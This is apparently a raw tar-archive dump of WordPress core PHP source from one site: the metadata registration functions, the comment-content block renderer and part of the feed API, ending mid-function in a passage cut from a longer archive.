 * @since 4.9.8 The `$object_subtype` argument was added to the arguments array.
 * @since 5.3.0 Valid meta types expanded to include "array" and "object".
 * @since 5.5.0 The `$default` argument was added to the arguments array.
 * @since 6.4.0 The `$revisions_enabled` argument was added to the arguments array.
 * @since 6.7.0 The `label` argument was added to the arguments array.
 *
 * @param string       $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                                  or any other object type with an associated meta table.
 * @param string       $meta_key    Meta key to register.
 * @param array        $args {
 *     Data used to describe the meta key when registered.
 *
 *     @type string     $object_subtype    A subtype; e.g. if the object type is "post", the post type. If left empty,
 *                                         the meta key will be registered on the entire object type. Default empty.
 *     @type string     $type              The type of data associated with this meta key.
 *                                         Valid values are 'string', 'boolean', 'integer', 'number', 'array', and 'object'.
 *     @type string     $label             A human-readable label of the data attached to this meta key.
 *     @type string     $description       A description of the data attached to this meta key.
 *     @type bool       $single            Whether the meta key has one value per object, or an array of values per object.
 *     @type mixed      $default           The default value returned from get_metadata() if no value has been set yet.
 *                                         When using a non-single meta key, the default value is for the first entry.
 *                                         In other words, when calling get_metadata() with `$single` set to `false`,
 *                                         the default value given here will be wrapped in an array.
 *     @type callable   $sanitize_callback A function or method to call when sanitizing `$meta_key` data.
 *     @type callable   $auth_callback     Optional. A function or method to call when performing edit_post_meta,
 *                                         add_post_meta, and delete_post_meta capability checks.
 *     @type bool|array $show_in_rest      Whether data associated with this meta key can be considered public and
 *                                         should be accessible via the REST API. A custom post type must also declare
 *                                         support for custom fields for registered meta to be accessible via REST.
 *                                         When registering complex meta values this argument may optionally be an
 *                                         array with 'schema' or 'prepare_callback' keys instead of a boolean.
 *     @type bool       $revisions_enabled Whether to enable revisions support for this meta_key. Can only be used when the
 *                                         object type is 'post'.
 * }
 * @param string|array $deprecated Deprecated. Use `$args` instead.
 * @return bool True if the meta key was successfully registered in the global array, false if not.
 *              Registering a meta key with distinct sanitize and auth callbacks will fire those callbacks,
 *              but will not add to the global registry.
 */
function register_meta( $object_type, $meta_key, $args, $deprecated = null ) {
	global $wp_meta_keys;

	if ( ! is_array( $wp_meta_keys ) ) {
		$wp_meta_keys = array();
	}

	$defaults = array(
		'object_subtype'    => '',
		'type'              => 'string',
		'label'             => '',
		'description'       => '',
		'default'           => '',
		'single'            => false,
		'sanitize_callback' => null,
		'auth_callback'     => null,
		'show_in_rest'      => false,
		'revisions_enabled' => false,
	);

	// There used to be individual args for sanitize and auth callbacks.
	$has_old_sanitize_cb = false;
	$has_old_auth_cb     = false;

	if ( is_callable( $args ) ) {
		$args = array(
			'sanitize_callback' => $args,
		);

		$has_old_sanitize_cb = true;
	} else {
		$args = (array) $args;
	}

	if ( is_callable( $deprecated ) ) {
		$args['auth_callback'] = $deprecated;
		$has_old_auth_cb       = true;
	}

	/**
	 * Filters the registration arguments when registering meta.
	 *
	 * @since 4.6.0
	 *
	 * @param array  $args        Array of meta registration arguments.
	 * @param array  $defaults    Array of default arguments.
	 * @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
	 *                            or any other object type with an associated meta table.
	 * @param string $meta_key    Meta key.
	 */
	$args = apply_filters( 'register_meta_args', $args, $defaults, $object_type, $meta_key );
	unset( $defaults['default'] );
	$args = wp_parse_args( $args, $defaults );

	// Require an item schema when registering array meta.
	if ( false !== $args['show_in_rest'] && 'array' === $args['type'] ) {
		if ( ! is_array( $args['show_in_rest'] ) || ! isset( $args['show_in_rest']['schema']['items'] ) ) {
			_doing_it_wrong( __FUNCTION__, __( 'When registering an "array" meta type to show in the REST API, you must specify the schema for each array item in "show_in_rest.schema.items".' ), '5.3.0' );

			return false;
		}
	}

	$object_subtype = ! empty( $args['object_subtype'] ) ? $args['object_subtype'] : '';
	if ( $args['revisions_enabled'] ) {
		if ( 'post' !== $object_type ) {
			_doing_it_wrong( __FUNCTION__, __( 'Meta keys cannot enable revisions support unless the object type supports revisions.' ), '6.4.0' );

			return false;
		} elseif ( ! empty( $object_subtype ) && ! post_type_supports( $object_subtype, 'revisions' ) ) {
			_doing_it_wrong( __FUNCTION__, __( 'Meta keys cannot enable revisions support unless the object subtype supports revisions.' ), '6.4.0' );

			return false;
		}
	}

	// If `auth_callback` is not provided, fall back to `is_protected_meta()`.
	if ( empty( $args['auth_callback'] ) ) {
		if ( is_protected_meta( $meta_key, $object_type ) ) {
			$args['auth_callback'] = '__return_false';
		} else {
			$args['auth_callback'] = '__return_true';
		}
	}

	// Back-compat: old sanitize and auth callbacks are applied to all of an object type.
	if ( is_callable( $args['sanitize_callback'] ) ) {
		if ( ! empty( $object_subtype ) ) {
			add_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['sanitize_callback'], 10, 4 );
		} else {
			add_filter( "sanitize_{$object_type}_meta_{$meta_key}", $args['sanitize_callback'], 10, 3 );
		}
	}

	if ( is_callable( $args['auth_callback'] ) ) {
		if ( ! empty( $object_subtype ) ) {
			add_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['auth_callback'], 10, 6 );
		} else {
			add_filter( "auth_{$object_type}_meta_{$meta_key}", $args['auth_callback'], 10, 6 );
		}
	}

	if ( array_key_exists( 'default', $args ) ) {
		$schema = $args;
		if ( is_array( $args['show_in_rest'] ) && isset( $args['show_in_rest']['schema'] ) ) {
			$schema = array_merge( $schema, $args['show_in_rest']['schema'] );
		}

		$check = rest_validate_value_from_schema( $args['default'], $schema );
		if ( is_wp_error( $check ) ) {
			_doing_it_wrong( __FUNCTION__, __( 'When registering a default meta value the data must match the type provided.' ), '5.5.0' );

			return false;
		}

		if ( ! has_filter( "default_{$object_type}_metadata", 'filter_default_metadata' ) ) {
			add_filter( "default_{$object_type}_metadata", 'filter_default_metadata', 10, 5 );
		}
	}

	// Global registry only contains meta keys registered with the array of arguments added in 4.6.0.
	if ( ! $has_old_auth_cb && ! $has_old_sanitize_cb ) {
		unset( $args['object_subtype'] );

		$wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ] = $args;

		return true;
	}

	return false;
}

/**
 * Filters into default_{$object_type}_metadata and adds in default value.
 *
 * @since 5.5.0
 *
 * @param mixed  $value     Current value passed to filter.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Metadata key.
 * @param bool   $single    If true, return only the first value of the specified `$meta_key`.
 *                          This parameter has no effect if `$meta_key` is not specified.
 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @return mixed An array of default values if `$single` is false.
 *               The default value of the meta field if `$single` is true.
 */
function filter_default_metadata( $value, $object_id, $meta_key, $single, $meta_type ) {
	global $wp_meta_keys;

	if ( wp_installing() ) {
		return $value;
	}

	if ( ! is_array( $wp_meta_keys ) || ! isset( $wp_meta_keys[ $meta_type ] ) ) {
		return $value;
	}

	$defaults = array();
	foreach ( $wp_meta_keys[ $meta_type ] as $sub_type => $meta_data ) {
		foreach ( $meta_data as $_meta_key => $args ) {
			if ( $_meta_key === $meta_key && array_key_exists( 'default', $args ) ) {
				$defaults[ $sub_type ] = $args;
			}
		}
	}

	if ( ! $defaults ) {
		return $value;
	}

	// If this meta type does not have subtypes, then the default is keyed as an empty string.
	if ( isset( $defaults[''] ) ) {
		$metadata = $defaults[''];
	} else {
		$sub_type = get_object_subtype( $meta_type, $object_id );
		if ( ! isset( $defaults[ $sub_type ] ) ) {
			return $value;
		}
		$metadata = $defaults[ $sub_type ];
	}

	if ( $single ) {
		$value = $metadata['default'];
	} else {
		$value = array( $metadata['default'] );
	}

	return $value;
}

/**
 * Checks if a meta key is registered.
 *
 * @since 4.6.0
 * @since 4.9.8 The `$object_subtype` parameter was added.
 *
 * @param string $object_type    Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                               or any other object type with an associated meta table.
 * @param string $meta_key       Metadata key.
 * @param string $object_subtype Optional. The subtype of the object type. Default empty string.
 * @return bool True if the meta key is registered to the object type and, if provided,
 *              the object subtype. False if not.
 */
function registered_meta_key_exists( $object_type, $meta_key, $object_subtype = '' ) {
	$meta_keys = get_registered_meta_keys( $object_type, $object_subtype );

	return isset( $meta_keys[ $meta_key ] );
}

/**
 * Unregisters a meta key from the list of registered keys.
 *
 * @since 4.6.0
 * @since 4.9.8 The `$object_subtype` parameter was added.
 *
 * @param string $object_type    Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                               or any other object type with an associated meta table.
 * @param string $meta_key       Metadata key.
 * @param string $object_subtype Optional. The subtype of the object type. Default empty string.
 * @return bool True if successful. False if the meta key was not registered.
 */
function unregister_meta_key( $object_type, $meta_key, $object_subtype = '' ) {
	global $wp_meta_keys;

	if ( ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
		return false;
	}

	$args = $wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ];

	if ( isset( $args['sanitize_callback'] ) && is_callable( $args['sanitize_callback'] ) ) {
		if ( ! empty( $object_subtype ) ) {
			remove_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['sanitize_callback'] );
		} else {
			remove_filter( "sanitize_{$object_type}_meta_{$meta_key}", $args['sanitize_callback'] );
		}
	}

	if ( isset( $args['auth_callback'] ) && is_callable( $args['auth_callback'] ) ) {
		if ( ! empty( $object_subtype ) ) {
			remove_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['auth_callback'] );
		} else {
			remove_filter( "auth_{$object_type}_meta_{$meta_key}", $args['auth_callback'] );
		}
	}

	unset( $wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ] );

	// Do some clean up.
	if ( empty( $wp_meta_keys[ $object_type ][ $object_subtype ] ) ) {
		unset( $wp_meta_keys[ $object_type ][ $object_subtype ] );
	}
	if ( empty( $wp_meta_keys[ $object_type ] ) ) {
		unset( $wp_meta_keys[ $object_type ] );
	}

	return true;
}

/**
 * Retrieves a list of registered metadata args for an object type, keyed by their meta keys.
 *
 * @since 4.6.0
 * @since 4.9.8 The `$object_subtype` parameter was added.
 *
 * @param string $object_type    Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                               or any other object type with an associated meta table.
 * @param string $object_subtype Optional. The subtype of the object type. Default empty string.
 * @return array[] List of registered metadata args, keyed by their meta keys.
 */
function get_registered_meta_keys( $object_type, $object_subtype = '' ) {
	global $wp_meta_keys;

	if ( ! is_array( $wp_meta_keys ) || ! isset( $wp_meta_keys[ $object_type ] ) || ! isset( $wp_meta_keys[ $object_type ][ $object_subtype ] ) ) {
		return array();
	}

	return $wp_meta_keys[ $object_type ][ $object_subtype ];
}

/**
 * Retrieves registered metadata for a specified object.
 *
 * The results include both meta that is registered specifically for the
 * object's subtype and meta that is registered for the entire object type.
 *
 * @since 4.6.0
 *
 * @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                            or any other object type with an associated meta table.
 * @param int    $object_id   ID of the object the metadata is for.
 * @param string $meta_key    Optional. Registered metadata key. If not specified, retrieve all registered
 *                            metadata for the specified object.
 * @return mixed A single value or array of values for a key if specified. An array of all registered keys
 *               and values for an object ID if not. False if a given $meta_key is not registered.
 */
function get_registered_metadata( $object_type, $object_id, $meta_key = '' ) {
	$object_subtype = get_object_subtype( $object_type, $object_id );

	if ( ! empty( $meta_key ) ) {
		if ( ! empty( $object_subtype ) && ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
			$object_subtype = '';
		}

		if ( ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
			return false;
		}

		$meta_keys     = get_registered_meta_keys( $object_type, $object_subtype );
		$meta_key_data = $meta_keys[ $meta_key ];

		$data = get_metadata( $object_type, $object_id, $meta_key, $meta_key_data['single'] );

		return $data;
	}

	$data = get_metadata( $object_type, $object_id );
	if ( ! $data ) {
		return array();
	}

	$meta_keys = get_registered_meta_keys( $object_type );
	if ( ! empty( $object_subtype ) ) {
		$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $object_type, $object_subtype ) );
	}

	return array_intersect_key( $data, $meta_keys );
}

/**
 * Filters out `register_meta()` args based on an allowed list.
 *
 * `register_meta()` args may change over time, so requiring the allowed list
 * to be explicitly turned off is a warranty seal of sorts.
 *
 * @access private
 * @since 5.5.0
 *
 * @param array $args         Arguments from `register_meta()`.
 * @param array $default_args Default arguments for `register_meta()`.
 * @return array Filtered arguments.
 */
function _wp_register_meta_args_allowed_list( $args, $default_args ) {
	return array_intersect_key( $args, $default_args );
}

/**
 * Returns the object subtype for a given object ID of a specific type.
 *
 * @since 4.9.8
 *
 * @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                            or any other object type with an associated meta table.
 * @param int    $object_id   ID of the object to retrieve its subtype.
 * @return string The object subtype or an empty string if unspecified subtype.
 */
function get_object_subtype( $object_type, $object_id ) {
	$object_id      = (int) $object_id;
	$object_subtype = '';

	switch ( $object_type ) {
		case 'post':
			$post_type = get_post_type( $object_id );

			if ( ! empty( $post_type ) ) {
				$object_subtype = $post_type;
			}
			break;

		case 'term':
			$term = get_term( $object_id );
			if ( ! $term instanceof WP_Term ) {
				break;
			}

			$object_subtype = $term->taxonomy;
			break;

		case 'comment':
			$comment = get_comment( $object_id );
			if ( ! $comment ) {
				break;
			}

			$object_subtype = 'comment';
			break;

		case 'user':
			$user = get_user_by( 'id', $object_id );
			if ( ! $user ) {
				break;
			}

			$object_subtype = 'user';
			break;
	}

	/**
	 * Filters the object subtype identifier for a non-standard object type.
	 *
	 * The dynamic portion of the hook name, `$object_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `get_object_subtype_post`
	 *  - `get_object_subtype_comment`
	 *  - `get_object_subtype_term`
	 *  - `get_object_subtype_user`
	 *
	 * @since 4.9.8
	 *
	 * @param string $object_subtype Empty string to override.
	 * @param int    $object_id      ID of the object to get the subtype for.
	 */
	return apply_filters( "get_object_subtype_{$object_type}", $object_subtype, $object_id );
}
14338/comment-content.php.tar000064400000010000151024420100011612 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/comment-content.php000064400000004633151024243060026457 0ustar00<?php
/**
 * Server-side rendering of the `core/comment-content` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/comment-content` block on the server.
 *
 * @since 6.0.0
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Return the post comment's content.
 */
function render_block_core_comment_content( $attributes, $content, $block ) {
	if ( ! isset( $block->context['commentId'] ) ) {
		return '';
	}

	$comment            = get_comment( $block->context['commentId'] );
	$commenter          = wp_get_current_commenter();
	$show_pending_links = isset( $commenter['comment_author'] ) && $commenter['comment_author'];
	if ( empty( $comment ) ) {
		return '';
	}

	$args         = array();
	$comment_text = get_comment_text( $comment, $args );
	if ( ! $comment_text ) {
		return '';
	}

	/** This filter is documented in wp-includes/comment-template.php */
	$comment_text = apply_filters( 'comment_text', $comment_text, $comment, $args );

	$moderation_note = '';
	if ( '0' === $comment->comment_approved ) {
		$commenter = wp_get_current_commenter();

		if ( $commenter['comment_author_email'] ) {
			$moderation_note = __( 'Your comment is awaiting moderation.' );
		} else {
			$moderation_note = __( 'Your comment is awaiting moderation. This is a preview; your comment will be visible after it has been approved.' );
		}
		$moderation_note = '<p><em class="comment-awaiting-moderation">' . $moderation_note . '</em></p>';
		if ( ! $show_pending_links ) {
			$comment_text = wp_kses( $comment_text, array() );
		}
	}

	$classes = array();
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	return sprintf(
		'<div %1$s>%2$s%3$s</div>',
		$wrapper_attributes,
		$moderation_note,
		$comment_text
	);
}

/**
 * Registers the `core/comment-content` block on the server.
 *
 * @since 6.0.0
 */
function register_block_core_comment_content() {
	register_block_type_from_metadata(
		__DIR__ . '/comment-content',
		array(
			'render_callback' => 'render_block_core_comment_content',
		)
	);
}
add_action( 'init', 'register_block_core_comment_content' );
14338/feed.php.tar000064400000061000151024420100007411 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/feed.php000064400000055563151024200120022771 0ustar00<?php
/**
 * WordPress Feed API
 *
 * Many of the functions used in here belong in The Loop, or The Loop for the
 * Feeds.
 *
 * @package WordPress
 * @subpackage Feed
 * @since 2.1.0
 */

/**
 * Retrieves RSS container for the bloginfo function.
 *
 * You can retrieve anything that you can using the get_bloginfo() function.
 * Everything will be stripped of tags and characters converted, when the values
 * are retrieved for use in the feeds.
 *
 * @since 1.5.1
 *
 * @see get_bloginfo() For the list of possible values to display.
 *
 * @param string $show See get_bloginfo() for possible values.
 * @return string
 */
function get_bloginfo_rss( $show = '' ) {
	$info = strip_tags( get_bloginfo( $show ) );
	/**
	 * Filters the bloginfo for use in RSS feeds.
	 *
	 * @since 2.2.0
	 *
	 * @see convert_chars()
	 * @see get_bloginfo()
	 *
	 * @param string $info Converted string value of the blog information.
	 * @param string $show The type of blog information to retrieve.
	 */
	return apply_filters( 'get_bloginfo_rss', convert_chars( $info ), $show );
}

/**
 * Displays RSS container for the bloginfo function.
 *
 * You can retrieve anything that you can using the get_bloginfo() function.
 * Everything will be stripped of tags and characters converted, when the values
 * are retrieved for use in the feeds.
 *
 * @since 0.71
 *
 * @see get_bloginfo() For the list of possible values to display.
 *
 * @param string $show See get_bloginfo() for possible values.
 */
function bloginfo_rss( $show = '' ) {
	/**
	 * Filters the bloginfo for display in RSS feeds.
	 *
	 * @since 2.1.0
	 *
	 * @see get_bloginfo()
	 *
	 * @param string $rss_container RSS container for the blog information.
	 * @param string $show          The type of blog information to retrieve.
	 */
	echo apply_filters( 'bloginfo_rss', get_bloginfo_rss( $show ), $show );
}

/**
 * Retrieves the default feed.
 *
 * The default feed is 'rss2', unless a plugin changes it through the
 * {@see 'default_feed'} filter.
 *
 * @since 2.5.0
 *
 * @return string Default feed, or for example 'rss2', 'atom', etc.
 */
function get_default_feed() {
	/**
	 * Filters the default feed type.
	 *
	 * @since 2.5.0
	 *
	 * @param string $feed_type Type of default feed. Possible values include 'rss2', 'atom'.
	 *                          Default 'rss2'.
	 */
	$default_feed = apply_filters( 'default_feed', 'rss2' );

	return ( 'rss' === $default_feed ) ? 'rss2' : $default_feed;
}

/**
 * Retrieves the blog title for the feed title.
 *
 * @since 2.2.0
 * @since 4.4.0 The optional `$sep` parameter was deprecated and renamed to `$deprecated`.
 *
 * @param string $deprecated Unused.
 * @return string The document title.
 */
function get_wp_title_rss( $deprecated = '&#8211;' ) {
	if ( '&#8211;' !== $deprecated ) {
		/* translators: %s: 'document_title_separator' filter name. */
		_deprecated_argument( __FUNCTION__, '4.4.0', sprintf( __( 'Use the %s filter instead.' ), '<code>document_title_separator</code>' ) );
	}

	/**
	 * Filters the blog title for use as the feed title.
	 *
	 * @since 2.2.0
	 * @since 4.4.0 The `$sep` parameter was deprecated and renamed to `$deprecated`.
	 *
	 * @param string $title      The current blog title.
	 * @param string $deprecated Unused.
	 */
	return apply_filters( 'get_wp_title_rss', wp_get_document_title(), $deprecated );
}

/**
 * Displays the blog title for display of the feed title.
 *
 * @since 2.2.0
 * @since 4.4.0 The optional `$sep` parameter was deprecated and renamed to `$deprecated`.
 *
 * @param string $deprecated Unused.
 */
function wp_title_rss( $deprecated = '&#8211;' ) {
	if ( '&#8211;' !== $deprecated ) {
		/* translators: %s: 'document_title_separator' filter name. */
		_deprecated_argument( __FUNCTION__, '4.4.0', sprintf( __( 'Use the %s filter instead.' ), '<code>document_title_separator</code>' ) );
	}

	/**
	 * Filters the blog title for display of the feed title.
	 *
	 * @since 2.2.0
	 * @since 4.4.0 The `$sep` parameter was deprecated and renamed to `$deprecated`.
	 *
	 * @see get_wp_title_rss()
	 *
	 * @param string $wp_title_rss The current blog title.
	 * @param string $deprecated   Unused.
	 */
	echo apply_filters( 'wp_title_rss', get_wp_title_rss(), $deprecated );
}

/**
 * Retrieves the current post title for the feed.
 *
 * @since 2.0.0
 * @since 6.6.0 Added the `$post` parameter.
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string Current post title.
 */
function get_the_title_rss( $post = 0 ) {
	$title = get_the_title( $post );

	/**
	 * Filters the post title for use in a feed.
	 *
	 * @since 1.2.0
	 *
	 * @param string $title The current post title.
	 */
	return apply_filters( 'the_title_rss', $title );
}

/**
 * Displays the post title in the feed.
 *
 * @since 0.71
 */
function the_title_rss() {
	echo get_the_title_rss();
}

/**
 * Retrieves the post content for feeds.
 *
 * @since 2.9.0
 *
 * @see get_the_content()
 *
 * @param string $feed_type The type of feed. rss2 | atom | rss | rdf
 * @return string The filtered content.
 */
function get_the_content_feed( $feed_type = null ) {
	if ( ! $feed_type ) {
		$feed_type = get_default_feed();
	}

	/** This filter is documented in wp-includes/post-template.php */
	$content = apply_filters( 'the_content', get_the_content() );
	$content = str_replace( ']]>', ']]&gt;', $content );

	/**
	 * Filters the post content for use in feeds.
	 *
	 * @since 2.9.0
	 *
	 * @param string $content   The current post content.
	 * @param string $feed_type Type of feed. Possible values include 'rss2', 'atom'.
	 *                          Default 'rss2'.
	 */
	return apply_filters( 'the_content_feed', $content, $feed_type );
}

/**
 * Displays the post content for feeds.
 *
 * @since 2.9.0
 *
 * @param string $feed_type The type of feed. rss2 | atom | rss | rdf
 */
function the_content_feed( $feed_type = null ) {
	echo get_the_content_feed( $feed_type );
}

/**
 * Displays the post excerpt for the feed.
 *
 * @since 0.71
 */
function the_excerpt_rss() {
	$output = get_the_excerpt();
	/**
	 * Filters the post excerpt for a feed.
	 *
	 * @since 1.2.0
	 *
	 * @param string $output The current post excerpt.
	 */
	echo apply_filters( 'the_excerpt_rss', $output );
}

/**
 * Displays the permalink to the post for use in feeds.
 *
 * @since 2.3.0
 */
function the_permalink_rss() {
	/**
	 * Filters the permalink to the post for use in feeds.
	 *
	 * @since 2.3.0
	 *
	 * @param string $post_permalink The current post permalink.
	 */
	echo esc_url( apply_filters( 'the_permalink_rss', get_permalink() ) );
}

/**
 * Outputs the link to the comments for the current post in an XML safe way.
 *
 * @since 3.0.0
 */
function comments_link_feed() {
	/**
	 * Filters the comments permalink for the current post.
	 *
	 * @since 3.6.0
	 *
	 * @param string $comment_permalink The current comment permalink with
	 *                                  '#comments' appended.
	 */
	echo esc_url( apply_filters( 'comments_link_feed', get_comments_link() ) );
}

/**
 * Displays the feed GUID for the current comment.
 *
 * @since 2.5.0
 *
 * @param int|WP_Comment $comment_id Optional comment object or ID. Defaults to global comment object.
 */
function comment_guid( $comment_id = null ) {
	echo esc_url( get_comment_guid( $comment_id ) );
}

/**
 * Retrieves the feed GUID for the current comment.
 *
 * @since 2.5.0
 *
 * @param int|WP_Comment $comment_id Optional comment object or ID. Defaults to global comment object.
 * @return string|false GUID for comment on success, false on failure.
 */
function get_comment_guid( $comment_id = null ) {
	$comment = get_comment( $comment_id );

	if ( ! is_object( $comment ) ) {
		return false;
	}

	return get_the_guid( $comment->comment_post_ID ) . '#comment-' . $comment->comment_ID;
}

/**
 * Displays the link to the comments.
 *
 * @since 1.5.0
 * @since 4.4.0 Introduced the `$comment` argument.
 *
 * @param int|WP_Comment $comment Optional. Comment object or ID. Defaults to global comment object.
 */
function comment_link( $comment = null ) {
	/**
	 * Filters the current comment's permalink.
	 *
	 * @since 3.6.0
	 *
	 * @see get_comment_link()
	 *
	 * @param string $comment_permalink The current comment permalink.
	 */
	echo esc_url( apply_filters( 'comment_link', get_comment_link( $comment ) ) );
}

/**
 * Retrieves the current comment author for use in the feeds.
 *
 * @since 2.0.0
 *
 * @return string Comment Author.
 */
function get_comment_author_rss() {
	/**
	 * Filters the current comment author for use in a feed.
	 *
	 * @since 1.5.0
	 *
	 * @see get_comment_author()
	 *
	 * @param string $comment_author The current comment author.
	 */
	return apply_filters( 'comment_author_rss', get_comment_author() );
}

/**
 * Displays the current comment author in the feed.
 *
 * @since 1.0.0
 */
function comment_author_rss() {
	echo get_comment_author_rss();
}

/**
 * Displays the current comment content for use in the feeds.
 *
 * @since 1.0.0
 */
function comment_text_rss() {
	$comment_text = get_comment_text();
	/**
	 * Filters the current comment content for use in a feed.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_text The content of the current comment.
	 */
	$comment_text = apply_filters( 'comment_text_rss', $comment_text );
	echo $comment_text;
}

/**
 * Retrieves all of the post categories, formatted for use in feeds.
 *
 * All of the categories for the current post in the feed loop, will be
 * retrieved and have feed markup added, so that they can easily be added to the
 * RSS2, Atom, or RSS1 and RSS0.91 RDF feeds.
 *
 * @since 2.1.0
 *
 * @param string $type Optional, default is the type returned by get_default_feed().
 * @return string All of the post categories for displaying in the feed.
 */
function get_the_category_rss( $type = null ) {
	if ( empty( $type ) ) {
		$type = get_default_feed();
	}
	$categories = get_the_category();
	$tags       = get_the_tags();
	$the_list   = '';
	$cat_names  = array();

	$filter = 'rss';
	if ( 'atom' === $type ) {
		$filter = 'raw';
	}

	if ( ! empty( $categories ) ) {
		foreach ( (array) $categories as $category ) {
			$cat_names[] = sanitize_term_field( 'name', $category->name, $category->term_id, 'category', $filter );
		}
	}

	if ( ! empty( $tags ) ) {
		foreach ( (array) $tags as $tag ) {
			$cat_names[] = sanitize_term_field( 'name', $tag->name, $tag->term_id, 'post_tag', $filter );
		}
	}

	$cat_names = array_unique( $cat_names );

	foreach ( $cat_names as $cat_name ) {
		if ( 'rdf' === $type ) {
			$the_list .= "\t\t<dc:subject><![CDATA[$cat_name]]></dc:subject>\n";
		} elseif ( 'atom' === $type ) {
			$the_list .= sprintf( '<category scheme="%1$s" term="%2$s" />', esc_attr( get_bloginfo_rss( 'url' ) ), esc_attr( $cat_name ) );
		} else {
			$the_list .= "\t\t<category><![CDATA[" . html_entity_decode( $cat_name, ENT_COMPAT, get_option( 'blog_charset' ) ) . "]]></category>\n";
		}
	}

	/**
	 * Filters all of the post categories for display in a feed.
	 *
	 * @since 1.2.0
	 *
	 * @param string $the_list All of the RSS post categories.
	 * @param string $type     Type of feed. Possible values include 'rss2', 'atom'.
	 *                         Default 'rss2'.
	 */
	return apply_filters( 'the_category_rss', $the_list, $type );
}

/**
 * Displays the post categories in the feed.
 *
 * @since 0.71
 *
 * @see get_the_category_rss() For better explanation.
 *
 * @param string $type Optional, default is the type returned by get_default_feed().
 */
function the_category_rss( $type = null ) {
	echo get_the_category_rss( $type );
}

/**
 * Displays the HTML type based on the blog setting.
 *
 * The two possible values are either 'xhtml' or 'html'.
 *
 * @since 2.2.0
 */
function html_type_rss() {
	$type = get_bloginfo( 'html_type' );
	if ( str_contains( $type, 'xhtml' ) ) {
		$type = 'xhtml';
	} else {
		$type = 'html';
	}
	echo $type;
}

/**
 * Displays the rss enclosure for the current post.
 *
 * Uses the global $post to check whether the post requires a password and if
 * the user has the password for the post. If not then it will return before
 * displaying.
 *
 * Also uses the function get_post_custom() to get the post's 'enclosure'
 * metadata field and parses the value to display the enclosure(s). The
 * enclosure(s) consist of enclosure HTML tag(s) with a URI and other
 * attributes.
 *
 * @since 1.5.0
 */
function rss_enclosure() {
	if ( post_password_required() ) {
		return;
	}

	foreach ( (array) get_post_custom() as $key => $val ) {
		if ( 'enclosure' === $key ) {
			foreach ( (array) $val as $enc ) {
				$enclosure = explode( "\n", $enc );

				if ( count( $enclosure ) < 3 ) {
					continue;
				}

				// Only get the first element, e.g. 'audio/mpeg' from 'audio/mpeg mpga mp2 mp3'.
				$t    = preg_split( '/[ \t]/', trim( $enclosure[2] ) );
				$type = $t[0];

				/**
				 * Filters the RSS enclosure HTML link tag for the current post.
				 *
				 * @since 2.2.0
				 *
				 * @param string $html_link_tag The HTML link tag with a URI and other attributes.
				 */
				echo apply_filters( 'rss_enclosure', '<enclosure url="' . esc_url( trim( $enclosure[0] ) ) . '" length="' . absint( trim( $enclosure[1] ) ) . '" type="' . esc_attr( $type ) . '" />' . "\n" );
			}
		}
	}
}

/**
 * Displays the atom enclosure for the current post.
 *
 * Uses the global $post to check whether the post requires a password and if
 * the user has the password for the post. If not then it will return before
 * displaying.
 *
 * Also uses the function get_post_custom() to get the post's 'enclosure'
 * metadata field and parses the value to display the enclosure(s). The
 * enclosure(s) consist of link HTML tag(s) with a URI and other attributes.
 *
 * @since 2.2.0
 */
function atom_enclosure() {
	if ( post_password_required() ) {
		return;
	}

	foreach ( (array) get_post_custom() as $key => $val ) {
		if ( 'enclosure' === $key ) {
			foreach ( (array) $val as $enc ) {
				$enclosure = explode( "\n", $enc );

				$url    = '';
				$type   = '';
				$length = 0;

				$mimes = get_allowed_mime_types();

				// Parse URL.
				if ( isset( $enclosure[0] ) && is_string( $enclosure[0] ) ) {
					$url = trim( $enclosure[0] );
				}

				// Parse length and type.
				for ( $i = 1; $i <= 2; $i++ ) {
					if ( isset( $enclosure[ $i ] ) ) {
						if ( is_numeric( $enclosure[ $i ] ) ) {
							$length = trim( $enclosure[ $i ] );
						} elseif ( in_array( $enclosure[ $i ], $mimes, true ) ) {
							$type = trim( $enclosure[ $i ] );
						}
					}
				}

				$html_link_tag = sprintf(
					"<link href=\"%s\" rel=\"enclosure\" length=\"%d\" type=\"%s\" />\n",
					esc_url( $url ),
					esc_attr( $length ),
					esc_attr( $type )
				);

				/**
				 * Filters the atom enclosure HTML link tag for the current post.
				 *
				 * @since 2.2.0
				 *
				 * @param string $html_link_tag The HTML link tag with a URI and other attributes.
				 */
				echo apply_filters( 'atom_enclosure', $html_link_tag );
			}
